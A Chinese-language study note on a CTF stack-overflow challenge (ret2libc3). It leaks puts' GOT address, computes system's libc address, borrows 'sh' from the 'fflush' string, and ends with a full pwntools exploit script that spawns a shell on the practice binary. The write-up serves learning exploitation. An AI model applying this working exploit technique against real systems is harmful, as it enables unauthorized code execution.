栈溢出-ret2libc地址泄露笔记

作为一名初学者,在碰到很多攻击思路的时候会感觉很妙,比如gadget的构造,这题的sh参数截断。

1、首先分析程序架构和保护措施。

栈溢出-ret2libc地址泄露笔记

2、使用IDA开始判断程序是否具备最简单的栈溢出执行条件:

  • ret2text:不具备,没有shell可执行代码
  • ret2shellcode:不具备写入全局区域的入口

栈溢出-ret2libc地址泄露笔记

栈溢出-ret2libc地址泄露笔记

  • 没有bin/bash可用,也没有system函数可以调用
  • 没有完整gadget构造链

3、执行程序,通过IDA分析main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
  char buf; // [esp+112h] [ebp-Eh]
  int v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, &buf, 0xAu);
  v8 = strtol(&buf, v3, v4);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 0x100u);
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
}

程序首先输出一段文字,然后提醒输入内存地址来查看该地址的内容,通过See_something函数实现。

See_something函数如下:

int __cdecl See_something(_DWORD *a1)
{
  return printf("The content of the address : %p\n", *a1);
}

然后读取字符串写入&src,然后将&src指针参数传递给Print_message函数

read(0, &src, 0x100u);
Print_message(&src);

查看Print_message(&src)代码。通过strcpy,将src中的内容拷贝到dest的内存空间中

int __cdecl Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h]

  strcpy(&dest, src);
  return printf("Your message is : %s", &dest);
}

Print_message存在栈溢出点,由于src的可写入空间是0x100,而dest的内存空间只有0x38,通过strcpy可以覆盖ret地址。

4、完整攻击思路:

(1)通过第一次程序读取任意内存位置内容,来读取程序got表中的puts函数实际地址。在程序第一次调用puts函数时,函数指针指向plt,所以通过执行完一次puts后,再读取got表中的实际地址;

(2)由于puts函数地址随机性,通过提供的libc文件计算,puts函数和system函数的偏移量,这两步最终就是为了得到libc中实际的system函数地址;

(3)通过strcpy栈溢出覆盖ret address,让函数ret指向上面已经拿到的system函数;

(4)system函数的参数“sh”并不能在程序中找到,但是可以使用包含sh的任意字符串截断形成参数(这一步太妙了);

 5、先简单的画一个堆栈图

栈溢出-ret2libc地址泄露笔记

栈溢出-ret2libc地址泄露笔记

 当开始执行Print_message(&src)函数的时候,看到esp+0x12的内存地址写入了eax,然后再最终写入当前的esp。也就是将src的内存地址压栈。

0x804864b <main+206>    lea    eax, [esp + 0x12]
0x804864f <main+210>    mov    dword ptr [esp], eax

然后执行call Print_message,自动将下一行地址8048657(也就是ret address)push到堆栈,然后进入Print_message开始push ebp,并提升栈底,创建新的堆栈空间。

所以最终在Print_message函数中堆栈图是这样

栈溢出-ret2libc地址泄露笔记

将程序停留到strcpy执行完后的下一行,不要退出Print_message,观察堆栈情况。

栈溢出-ret2libc地址泄露笔记

所以要达到能覆盖ret的长度是0xffffd7ec-0xffffd7b0

ret需要指向的system函数地址,通过libc偏移计算,借助pwntools,得到system函数在libc中的实际地址。也可以直接用ida加载libc.so计算。

libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")

 //先得到puts的got地址
puts_gots_address = elf.got["puts"]

//读取puts地址中实际的puts地址
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)

//通过偏移计算得到system在libc中的真实地址
offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address

最后需要找到system函数需要的sh参数

如下图,这里使用fflush字符串的截断,是0x0804829E位置的sh。

栈溢出-ret2libc地址泄露笔记

然后就可以构造payload,得到shell。

from pwn import *   elf = ELF("./ret2libc3") r = process("./ret2libc3") libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")   r.recvuntil("Give me an address (in dec) :") puts_gots_address = elf.got["puts"] r.sendline(str(puts_gots_address)) s = r.recv() puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)   offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"] system_libc_address = puts_libc_address + offset_libc_address offset = 0xffffd7ec-0xffffd7b0 sh_address = 0x0804829E   shellcode = flat(offset*'A',system_libc_address,0xdeadbeef,sh_address) r.sendline(shellcode) r.interactive()

栈溢出-ret2libc地址泄露笔记

 

上一篇:Envoy实现.NET架构的网关(四)集成IdentityServer4实现OAuth2认证


下一篇:题135.pta数据结构题集-02-线性结构3 Reversing Linked List (25 分)